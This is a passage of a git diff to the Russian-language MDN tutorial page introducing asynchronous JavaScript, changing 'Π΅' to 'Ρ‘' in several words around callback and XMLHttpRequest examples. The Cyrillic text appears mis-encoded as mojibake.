ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ½ΡƒΡ‚ΡŒ ΠΊ Ρ‚Π°ΠΊΠΎΠΌΡƒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρƒ, Π½ΠΎ процСсс стал Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Π³Ρ‡Π΅. Π”Π°Π»Π΅Π΅, Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Π³Π»ΡƒΠ±ΠΆΠ΅ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ вопрос, ΠΊΠΎΠ³Π΄Π° ΠΆΠ΅ асинхронный ΠΊΠΎΠ΄ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈ ΠΊΠ°ΠΊ ΡΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, описанных Π²Ρ‹ΡˆΠ΅.</p>
+<p>ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ соврСмСнных программ всС большС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ асинхронноС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΈΠΌΠ΅Π»Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ нСсколько ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅, Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡ‰Π½Ρ‹Π΅ возмоТности API, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅ мноТСство ситуаций, Π³Π΄Π΅ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½ΡƒΡŽ Π·Π°Π΄Π°Ρ‡Ρƒ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ асинхронно. РаньшС Π±Ρ‹Π»ΠΎ слоТно ΠΏΠΈΡΠ°Ρ‚ΡŒ асинхронный ΠΊΠΎΠ΄. Π”ΠΎ сих ΠΏΠΎΡ€, Π½ΡƒΠΆΠ½ΠΎ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ½ΡƒΡ‚ΡŒ ΠΊ Ρ‚Π°ΠΊΠΎΠΌΡƒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρƒ, Π½ΠΎ процСсс стал Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Π³Ρ‡Π΅. Π”Π°Π»Π΅Π΅, Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Π³Π»ΡƒΠ±ΠΆΠ΅ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ вопрос, ΠΊΠΎΠ³Π΄Π° ΠΆΠ΅ асинхронный ΠΊΠΎΠ΄ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈ ΠΊΠ°ΠΊ ΡΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, описанных Π²Ρ‹ΡˆΠ΅.</p>
<h2 id="Π’_этом_ΠΌΠΎΠ΄ΡƒΠ»Π΅">Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅</h2>
diff --git a/files/ru/learn/javascript/asynchronous/introducing/index.html b/files/ru/learn/javascript/asynchronous/introducing/index.html
index 75cae85c11..731c40dfa7 100644
--- a/files/ru/learn/javascript/asynchronous/introducing/index.html
+++ b/files/ru/learn/javascript/asynchronous/introducing/index.html
@@ -84,13 +84,13 @@ btn.addEventListener('click', () =&gt; {
let blob = response.blob();
// display your image blob in the UI somehow</pre>
-<p>Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒΒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π·Π°ΠΉΠΌΠ΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ,Β ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π²Ρ‚ΠΎΡ€ΡƒΡŽ строку ΠΊΠΎΠ΄Π°, сгСнСрируСтся ошибка (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, пСриодичСски, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font>Β Π΅Ρ‰Π΅ Π½Π΅ доступСн. ВмСсто этого, ваш ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ возвращСния <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font>Β Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, как попытаСтся Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ дальнСйшиС инструкции.</p>
+<p>Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒΒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π·Π°ΠΉΠΌΡ‘Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ,Β ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π²Ρ‚ΠΎΡ€ΡƒΡŽ строку ΠΊΠΎΠ΄Π°, сгСнСрируСтся ошибка (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, пСриодичСски, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font>Β Π΅Ρ‰Ρ‘ Π½Π΅ доступСн. ВмСсто этого, ваш ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ возвращСния <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font>Β Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, как попытаСтся Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ дальнСйшиС инструкции.</p>
-<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° стиля асинхронного ΠΊΠΎΠ΄Π°, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ Π² ΠΊΠΎΠ΄Π΅ JavaScript, старый ΠΌΠ΅Ρ‚ΠΎΠ΄ β€”Β callbacks (колбэки) ΠΈ Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²Ρ‹ΠΉ β€”Β Β promise (промисы, обСщания). Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΌΡ‹ познакомимся с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌΒ ΠΈΠ· Π½ΠΈΡ….Β </p>
+<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° стиля асинхронного ΠΊΠΎΠ΄Π°, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ Π² ΠΊΠΎΠ΄Π΅ JavaScript, старый ΠΌΠ΅Ρ‚ΠΎΠ΄ β€”Β callbacks (колбэки) ΠΈ Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²Ρ‹ΠΉ β€”Β Β promise (промисы, обСщания). Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΌΡ‹ познакомимся с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌΒ ΠΈΠ· Π½ΠΈΡ….Β </p>
<h2 id="АсинхронныС_колбэки">АсинхронныС колбэки</h2>
-<p>АсинхронныС колбэки — это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая Π½Π°Ρ‡Π½Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π½Π° Π·Π°Π΄Π½Π΅ΠΌ Ρ„ΠΎΠ½Π΅. Когда ΠΊΠΎΠ΄ Π½Π° Π·Π°Π΄Π½Π΅ΠΌ Ρ„ΠΎΠ½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΎΠ½ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΠΎΠ²Π΅Ρ‰Π°ΡŽΡ‰ΡƒΡŽ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π° сдСлана, Π»ΠΈΠ±ΠΎ ΠΎΠΏΠΎΠ²Π΅Ρ‰Π°ΡŽΡ‰ΡƒΡŽ ΠΎ трудностях Π² Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹Π΅Β Π²Ρ‹Π·ΠΎΠ²Ρ‹ β€”Β Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°, Π½ΠΎ ΠΎΠ½ΠΈ всС Π΅Ρ‰Π΅ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡŽΡ‚ΡΡ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… старомодных,Β Π½ΠΎ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… API.</p>
+<p>АсинхронныС колбэки — это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π½Π° Π·Π°Π΄Π½Π΅ΠΌ Ρ„ΠΎΠ½Π΅. Когда ΠΊΠΎΠ΄ Π½Π° Π·Π°Π΄Π½Π΅ΠΌ Ρ„ΠΎΠ½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΎΠ½ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΠΎΠ²Π΅Ρ‰Π°ΡŽΡ‰ΡƒΡŽ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π° сдСлана, Π»ΠΈΠ±ΠΎ ΠΎΠΏΠΎΠ²Π΅Ρ‰Π°ΡŽΡ‰ΡƒΡŽ ΠΎ трудностях Π² Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹Π΅Β Π²Ρ‹Π·ΠΎΠ²Ρ‹ β€”Β Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°, Π½ΠΎ ΠΎΠ½ΠΈ всС Π΅Ρ‰Ρ‘ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡŽΡ‚ΡΡ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… старомодных,Β Π½ΠΎ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… API.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ асинхронного колбэка Π²Ρ‚ΠΎΡ€Ρ‹ΠΌΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ {{domxref("EventTarget.addEventListener", "addEventListener()")}} (ΠΊΠ°ΠΊ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²Ρ‹ΡˆΠ΅):</p>
@@ -104,9 +104,9 @@ let blob = response.blob();
<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ β€”Β Ρ‚ΠΈΠΏ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΠΎΠ³ΠΎ события, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ — колбэк-функция, вызываСмая ΠΏΡ€ΠΈ срабатывании события.</p>
-<p>ΠŸΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылку Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ колбэк-функция <strong>Π½Π΅</strong> выполняСтся ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ. Она вызываСтся асинхронно Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π»Π°, содСрТащСго Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Π­Ρ‚Π° функция Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
+<p>ΠŸΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылку Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ колбэк-функция <strong>Π½Π΅</strong> выполняСтся ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ. Она вызываСтся асинхронно Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π»Π°, содСрТащСго Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Π­Ρ‚Π° функция Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ происходит Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° рСсурсов Ρ‡Π΅Ρ€Π΅Π·Β <a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">запуститС ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">посмотритС исходный ΠΊΠΎΠ΄</a>):</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ происходит Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° рСсурсов Ρ‡Π΅Ρ€Π΅Π·Β <a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">запуститС ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">посмотритС исходный ΠΊΠΎΠ΄</a>):</p>
<pre class="brush: js notranslate">function loadAsset(url, type, callback) {
let xhr = new XMLHttpRequest();
@@ -130,7 +130,7 @@ function displayImage(blob) {
loadAsset('coffee.jpg', 'blob', displayImage);</pre>
-<p>ΠœΡ‹ ΡΠΎΠ·Π΄Π°Π»ΠΈΒ Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>displayImage()</code>, которая прСдставляСт blob, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π² Π½Π΅Π΅, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β URL, ΠΈ создаСт ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΡƒ, Π² которой отобраТаСтся URL, добавляя Π΅Π΅ Π² элСмСнт Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Β <code>&lt;body&gt;</code>. Однако, Π΄Π°Π»Π΅Π΅Β ΠΌΡ‹ ΡΠΎΠ·Π΄Π°Π΅ΠΌΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>loadAsset()</code>, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС парамСтра, вмСстС с URL для получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ‚ΠΈΠΏΠΎΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Для получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· URL ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>XMLHttpRequest</code> (часто сокращаСтся Π΄ΠΎ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹Β "XHR") , ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для дальнСйшСй ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ. Π’ этом случаС колбэк-функция ΠΆΠ΄Π΅Ρ‚, ΠΏΠΎΠΊΠ° XHR Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π΄Π°Π½Π½Ρ‹Ρ…Β (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉΒ Π΄Π°Π½Π½Ρ‹Ρ… Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
+<p>ΠœΡ‹ ΡΠΎΠ·Π΄Π°Π»ΠΈΒ Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>displayImage()</code>, которая прСдставляСт blob, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π² Π½Π΅Ρ‘, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β URL, ΠΈ создаёт ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΡƒ, Π² которой отобраТаСтся URL, добавляя Π΅Ρ‘ Π² элСмСнт Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Β <code>&lt;body&gt;</code>. Однако, Π΄Π°Π»Π΅Π΅Β ΠΌΡ‹ ΡΠΎΠ·Π΄Π°Ρ‘ΠΌΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>loadAsset()</code>, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС парамСтра, вмСстС с URL для получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ‚ΠΈΠΏΠΎΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Для получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· URL ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>XMLHttpRequest</code> (часто сокращаСтся Π΄ΠΎ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹Β "XHR") , ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для дальнСйшСй ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ. Π’ этом случаС колбэк-функция ΠΆΠ΄Ρ‘Ρ‚, ΠΏΠΎΠΊΠ° XHR Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π΄Π°Π½Π½Ρ‹Ρ…Β (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉΒ Π΄Π°Π½Π½Ρ‹Ρ… Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
